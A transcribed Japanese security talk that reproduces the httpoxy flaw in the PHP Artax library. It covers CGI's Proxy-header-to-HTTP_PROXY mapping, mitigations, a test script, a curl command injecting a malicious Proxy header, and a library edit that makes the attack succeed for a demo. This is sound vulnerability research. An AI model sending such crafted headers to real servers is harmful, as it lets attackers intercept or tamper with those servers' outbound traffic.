自己紹介 名前 : 一ノ瀬太樹 所属 : HASH コンサルティング株式会社 OWASP Japan プロモーションチーム OWASP ZAP ユーザーグループ脆弱性診断研究会 ( 管理者その 3) Perl 入学式 ( サポーター ) HASH Consult

Similar documents
Microsoft IISのWebDAV認証回避の脆弱性に関する検証レポート

2015 年 4 月 15 日に発表された HTTP.sys の脆弱性 ( ) へ の対応について 製品名 : バージョン : 対象プラットフォーム : カテゴリ : iautolaymagic すべてすべて Web アプリ この度 マイクロソフト社製品において緊急度の高い脆弱性 (CV

SOC Report

WannaCry とは WannaCry はランサムウェアの一種 WannaCry は ランサムウェアと呼ばれる身代金要求型のマルウェアです WannaCryptor WanaCrypt Wcry といった呼ばれ方もします 一般的にランサムウェアに感染すると 以下のようなデータを使用できないように暗

9 WEB監視

KDDI ホスティングサービス G120 KDDI ホスティングサービス G200 WordPress インストールガイド ( ご参考資料 ) rev.1.2 KDDI 株式会社 1

Microsoft Word - XOOPS インストールマニュアルv12.doc

◎phpapi.indd

第5回 マインクラフト・プログラミング入門

使用する前に

PHP 分科会 '12/01 OpenSource 協議会 System i 2012/01/26

conf_example_260V2_inet_snat.pdf

はじめに インフォマート API の呼び出しには OAuth2.0 による認証を受ける必要があります OAuth2.0 を使うことで インフォマート API を利用するサービスは インフォマートプラットフォーム ID( 1 以下 PFID) とパスワードを保存したり処理したりすることなく PFID

VPN ユーザを管理し、RV016、RV042、RV042G および RV082 VPN ルータの速い VPN を設定して下さい

intra-mart EX申請システム version.7.2 事前チェック

Java Scriptプログラミング入門 3.6~ 茨城大学工学部情報工学科 08T4018Y 小幡智裕

安全な Web サイトの作り方 7 版 と Android アプリの脆弱性対策 独立行政法人情報処理推進機構 (IPA) 技術本部セキュリティセンター Copyright 2015 独立行政法人情報処理推進機構

PHP 開発ツール Zend Studio PHP アフ リケーションサーハ ー Zend Server OSC Tokyo/Spring /02/28 株式会社イグアスソリューション事業部

Mobile Access IPSec VPN設定ガイド

プロキシ Pac ファイルとそのサンプルについて

モバイルアプリを Azure で作る - データを扱う Azure Storage を利 してデータを保存する 本稿では PHP と Windows Azure を使って 画像などのファイルを扱うアプリケーションを開発する方法を説明します Windows Azure Platform では データの

Mobile Access簡易設定ガイド

クラスタ構築手順書

// このクラスの有効期間中の各呼び出しに使用される キャッシュされた Socket オブジェクト Socket socket = null; // 非同期処理が完了したことを通知するために信号を送るオブジェクト static ManualResetEvent clientdone = new Ma

Microsoft Word JA_revH.doc

6-2- 応ネットワークセキュリティに関する知識 1 独立行政法人情報処理推進機構

PowerPoint プレゼンテーション

はじめに 注意事項本資料に記載の内容は 弊社が特定の環境において 基本動作や接続動作を確認したものであり すべての環境で機能 性能 信頼性を保証するものではありません 輸出時の注意 AX シリーズに関し 本製品を輸出される場合には 外国為替及び外国貿易法の規制並びに米国輸出管理規制など外国の輸出関連

TestDesign for Web

( 目次 ) 1. はじめに 開発環境の準備 仮想ディレクトリーの作成 ASP.NET のWeb アプリケーション開発環境準備 データベースの作成 データベースの追加 テーブルの作成


1 ユーザ認証を受けた権限で アプリケーションを利用するために ログインプロキシにアクセスします 2 ログインプロキシにより Shibboleth SP から Shibboleth IdP の認証画面にリダイレクトされます 3 ブラウザに認証画面を表示します 4 認証画面にユーザ / パスワードを入

実験 5 CGI プログラミング 1 目的 動的にWebページを作成する手法の一つであるCGIについてプログラミングを通じて基本的な仕組みを学ぶ 2 実験 実験 1 Webサーバの設定確認と起動 (1)/etc/httpd/conf にある httpd.conf ファイルの cgi-bin に関する

Microsoft Word - アクセストークン取得API仕様書(AS)_ver1.docx

FW ファイルアップロード ダウンロード機能利用ガイド Version 年 9 月 21 日富士通株式会社 i All Right Reserved, Copyright FUJITSU LIMITED

iStorage ソフトウェア VMware vCenter Plug-in インストールガイド

<48554C46545F F A5490E08E9197BF2E786C73>

SmartGS-ReleaseNote-V132

PowerPoint Presentation

前ページからの続き // テキストボックス02 id 属性で取得 // id 属性で取得する場合は一意に決まるので 何番目かの指定は不要 var textbox02elem = document.getelementbyid("text_box02_id"); if ("001" == statee

Android Layout SDK プログラミング マニュアル

Oracle DatabaseとIPv6 Statement of Direction

2010年4月~6月 協業実績報告

Rmenuフレームワーク

目次 はじめに 4 概要 4 背景 4 対象 5 スケジュール 5 目標点 6 使用機材 6 第 1 章 C# 言語 7 C# 言語の歴史 7 基本構文 8 C 言語との違い 9 Java 言語との違い 10.Netフレームワーク 10 開発資料 10 第 2 章 Mono 11 Monoの歴史 1

Managed Firewall NATユースケース

AXシリーズとSafeNetの相互接続評価

なぜIDSIPSは必要なのか?(v1.1).ppt

Microsoft PowerPoint - バルネラアセッサーご紹介 [互換モード]

情報通信の基礎

LAN Control Document

( 目次 ) 1. WordPressインストールガイド はじめに 制限事項 サイト初期設定 WordPressのインストール ( コントロールパネル付属インストーラより ) WordPressのインストール ( 手動インス

IIJ GIOリモートアクセスサービス Windows 7 設定ガイド

WTM2019SingleSignOn

Microsoft PowerPoint - OSS運用管理勉強会資料_ a.pptx

1 本ドキュメントが想定するネットワーク環境 本ドキュメントが想定するネットワーク環境を図に示す 各種モダリティで撮像した DICOM データは DICOM サーバに送信され データベースに登録される クライアントパソコンには InVesalius がインストールされている これらの機器はすべてネッ

コースの目標 このコースを修了すると 下記のことができるようになります : 1. WebDAV の基本的理解を深める 2. WebDAV 経由で ASUSTOR NAS に接続する 前提条件 受講前提条件 : なし 次の項目についての知識を持つ受講生を対象としています :s 該当なし 概要 1. W

TFTP serverの実装

SOC Report

はじめに 動作環境の全ブラウザで 本書の設定を行ってください 本設定を行わない場合 システムが 正常に動作しない可能性がありますので 必ず設定をお願いいたします また 本書の中で 画 像に番号を付与している箇所以外の設定は お使いの環境のままでご使用ください 参考 : 動作環境の全ブラウザについては


JPCERT/CC インターネット定点観測レポート[2014年7月1日~9月30日]

コースの目標 このコースを修了すると 下記のことができるようになります : 1. WebDAV の基本的理解を深める 2. WebDAV 経由で ASUSTOR NAS に接続する 前提条件 受講前提条件 : なし 次の項目についての知識を持つ受講生を対象としています :s 該当なし 概要 1. W

Web のクライアントサーバモデル

LightSwitch で申請システム Windows ストアアプリで受付システムを構築してみた 情報政策グループ技術職員金森浩治 1. はじめに総合情報基盤センターでは 仮想サーバホスティングサービスや ソフトウェアライセンス貸与といった さまざまなエンドユーザ向けサービスを行っている 上記のよう

CubePDF ユーザーズマニュアル

Transcription:

Affected 指定されているけど PoC が無いフレームワークで再現試験をした話 WASNight 2016 Summer = WASForum x OWASP Night 2016/8/16 一ノ瀬太樹 HASH Consulting Corp.

自己紹介 名前 : 一ノ瀬太樹 Twitter: @mahoyaya 所属 : HASH コンサルティング株式会社 OWASP Japan プロモーションチーム OWASP ZAP ユーザーグループ脆弱性診断研究会 ( 管理者その 3) Perl 入学式 ( サポーター ) HASH Consulting Corp. 2

突然ですが HASH Consulting Corp. 3

blog を書きました http://blog.hash-c.co.jp/2016/07/httpoxyaffectedpoc.html http://goo.gl/aslxnl HASH Consulting Corp. 4

httpoxy は警視庁による注意喚起もされており 非常に注目を集めています HASH Consulting Corp. 5

httpoxy の原因 httpoxy の根本的な原因は CGI の仕様と一般的に利用される環境変数との名前空間の衝突 そのため CGI や CGI ライクな環境を利用している場合に httpoxy の影響を受ける可能性がある HASH Consulting Corp. 6

具体的な動作 CGI では クライアントが送信した HTTP リクエストヘッダの情報を環境変数に設定する際の動作が RFC3875 で規定されている 大文字に変換 ハイフン "-" をアンダースコア "_" に変換 名前の先頭に "HTTP_" を付与 結果として Proxy という HTTP リクエストヘッダが付与されていた場合に環境変数 HTTP_PROXY が設定されることとなる HASH Consulting Corp. 7

例えば次のリクエストがあると 1 GET /index.php HTTP/1.1 2 Host: foo.example.com 3 Proxy: 10.0.0.1:8080 CGI の動作により次の環境変数がセットされる 1 HTTP_PROXY=10.0.0.1:8080 ただし この動作だけで問題が発生するわけではない HASH Consulting Corp. 8

HTTP_PROXY という環境変数は 一般的に CLI で利用されるコマンドベースのアプリケーションが Proxy サーバを利用する際に参照するもの この脆弱性が存在する Web サーバが環境変数を参照して外部通信を行う場合に次の問題が発生する 内部サーバ宛て http 通信の盗聴 外部サーバ宛て http 通信の盗聴および改ざん ( 中間者攻撃 ) HASH Consulting Corp. 9

本脆弱性への対処 PHP では最新の 5.5.38, 5.6.24, 7.0.9, 7.1.0-beta1 にて getenv 関数に local_only の引数を持つことが出来るようになる修正が含まれたことを確認 今回利用しているフレームワークの Artax では 2.0.4 で修正されている 回避策は大きく次の方法がある HTTP リクエストヘッダを書き変える Apache HTTP Server の mod_headers や Nginx の fastcgi_param などが利用できる WAF で Drop する Apache HTTP Server の mod_rewrite などが利用できる 外部接続に HTTPS を利用する アプリケーションが HTTPS_PROXY を参照するようになり 原理的に影響を受けなくなる HASH Consulting Corp. 10

その他の回避策 httpoxy 公式 https://httpoxy.org/ nginx 公式の注意喚起 https://www.nginx.com/blog/mitigating-the-httpoxy-vulnerability-with-nginx/ HASH Consulting Corp. 11

再現試験をした httpoxy に関しては httpoxy.org による PoC が既に公開されており ネタとしては面白くない なので Affected になっているが PoC は公開されていない PHP のフレームワークである Artax v2.0.3 を利用して試験! HASH Consulting Corp. 12

これ HASH Consulting Corp. 13

環境 検証環境イメージ図 HASH Consulting Corp. 14

本当の構成 Apache HTTP Server 2.2.15 + PHP 5.5.37 Windows10 では www.example.jp として疑似外部サイトを稼働させてるが Proxy として稼働するためのソフトウェアは入っていない HASH Consulting Corp. 15

事象が再現したことを確認するための PHP ファイ ル httpoxy.php を作る HASH Consulting Corp. 16

# code 1 <?php 2 use Amp Artax Client; 3 require 'artax/vendor/autoload.php'; 4 5 echo "<h1>httpoxy exploit check</h1><br> n"; 6 echo "<br>==============================================<br> n"; 7 echo "var_dump( $_SERVER['HTTP_PROXY']); n"; 8 var_dump($_server['http_proxy']); 環境変数を表示 9 echo "<br>"; 10 echo "getenv('http_proxy'); n"; 11 var_dump(getenv('http_proxy')); 環境変数を表示 12 echo "<br>"; 13 14 echo "<br>==============================================<br> n"; HASH Consulting Corp. 17

# code 15 16 try { 17 $client = new Client; 18 $promise = $client->request('http://www.example.jp'); 19 $response = Amp wait($promise); 20 printf( 21 " nhttp/%s %d %s n", 22 $response->getprotocol(), 23 $response->getstatus(), 24 $response->getreason() 25 ); 26 } catch (Exception $error) { 27 echo $error; 28 } 外部通信を行う ステータス表示 HASH Consulting Corp. 18

ブラウザからアクセスしたところ 通常 HTTP リクエストヘッダに Proxy が含まれることはないので null や false が返却されている HASH Consulting Corp. 19

環境変数に HTTP_PROXY をセットさせてみる HTTP リクエストヘッダに Proxy: 192.168.80.1:8080 などを設定してリクエストを送ると環境変数をセットさせることが出来る 192.168.80.1 は Windows10 の IP アドレスだが ポート番号 8080 のアクセスは受け付けない状態なので ARP は解決できるが TCP 接続は受け付けない状態 HASH Consulting Corp. 20

curl を利用してリクエストを送信する 1 curl -H "Proxy: 192.168.80.1:8080" "http://192.168.80.234/httpoxy.php" HASH Consulting Corp. 21

結果 # Response 6 var_dump($_server['http_proxy']); 7 <pre class='xdebug-var-dump' dir='ltr'><small>string</small> <font color='#cc0000'>'192.168.80.1:8080'</font> <i>(length=17)</i> 読み込まれてる 8 </pre><br>getenv('http_proxy'); 9 <pre class='xdebug-var-dump' dir='ltr'><small>string</small> <font color='#cc0000'>'192.168.80.1:8080'</font> <i>(length=17)</i> 読み込まれてる 10 </pre><br><br>============================================= =<br> 11 12 HTTP/1.1 200 OK HASH Consulting Corp. 22

結果 # Response 6 var_dump($_server['http_proxy']); 7 <pre class='xdebug-var-dump' dir='ltr'><small>string</small> <font color='#cc0000'>'192.168.80.1:8080'</font> <i>(length=17)</i> 読み込まれてる 8 </pre><br>getenv('http_proxy'); 9 <pre class='xdebug-var-dump' dir='ltr'><small>string</small> <font color='#cc0000'>'192.168.80.1:8080'</font> <i>(length=17)</i> 読み込まれてる 10 </pre><br><br>============================================= =<br> 11 12 HTTP/1.1 200 OK!!!! HASH Consulting Corp. 23

結果 # Response 12 HTTP/1.1 200 OK HASH Consulting Corp. 24

全然 OK じゃない HASH Consulting Corp. 25

Artax のコードを確認した 1.Artax は Proxy のパラメータを 2 つのオブジェクト (Client, HttpSocketPool) 内に同じ配列名かつ同じ変数名の $options[self::op_proxy_http] で保持しており getenv( http_proxy ) で取得した値は HttpSocketPool 側で保持している 2. new Client; したタイミングでコンストラクタにより new HttpSocketPool; も実行され 自動的に環境変数が読み込まれる "self::op_proxy_http" は双方共に HttpSocketPool の定数を参照 3. 2 つのオブジェクトが保持している配列のパラメータはリクエストを送信する際に array_merge 関数によってマージされるが オブジェクト Client のパラメータで上書きされる仕様 (?) により HttpSocketPool で保持した値は使われない HASH Consulting Corp. 26

こんな感じ HASH Consulting Corp. 27

以下は HttpSocketPool 内の checkout 関数で利用されている実際のコード $options にオブジェクト Client で設定されているパラメータが格納されている # code 57 $options = $options? array_merge($this->options, $options) : $this->options; Proxy のパラメータはオブジェクト Client の初期化時に必ず空 ( ) で生成されるため上書きされてしまう HASH Consulting Corp. 28

すごくモヤモヤする仕様だし 脆弱性になっていない HASH Consulting Corp. 29

でも 攻撃を成功させたい HASH Consulting Corp. 30

コードを書き換えよう ( ぇ さっきの HttpSocketPool を書き換えてみる # code 57 //$options = $options? array_merge($this->options, $options) : $this->options; 58 $options = $options? array_merge($options, $this->options) : $this->options; HASH Consulting Corp. 31

DEMO HASH Consulting Corp. 32

DEMO 構成 稼働サービス Httpd: 80 Fedora22(Server) 172.20.10.0/24 稼働サービス Proxy: 8080 Mac(Client) VM.6.3.1 HASH のブログ テザリング HASH Consulting Corp. 33

通常通信 稼働サービス Httpd: 80 172.20.10.0/24 稼働サービス Proxy: 8080 Fedora22(Server) VM.6 1.3 Mac(Client) 2.1 HASH のブログ テザリング HASH Consulting Corp. 34

Proxy 通信 稼働サービス Httpd: 80 172.20.10.0/24 稼働サービス Proxy: 8080 Fedora22(Server) VM.6 1.3 Mac(Client) 2.1 HASH のブログ テザリング HASH Consulting Corp. 35

まとめ 検証を実施した限り オブジェクト Client を生成してリクエスト送信した場合において問題事象が発生することはなさそう しかし 絶対に問題が発生しないと保証することはできないので Artax を利用される方は 必ず v2.0.4 以降へのバージョンアップを検討してください 公開している内容やアプリケーションの動作を保証するものではありません 公開情報を利用される場合は 必ずご自身で検証されたうえでの利用をお願いします HASH Consulting Corp. 36

Thank you! HASH Consulting Corp. 37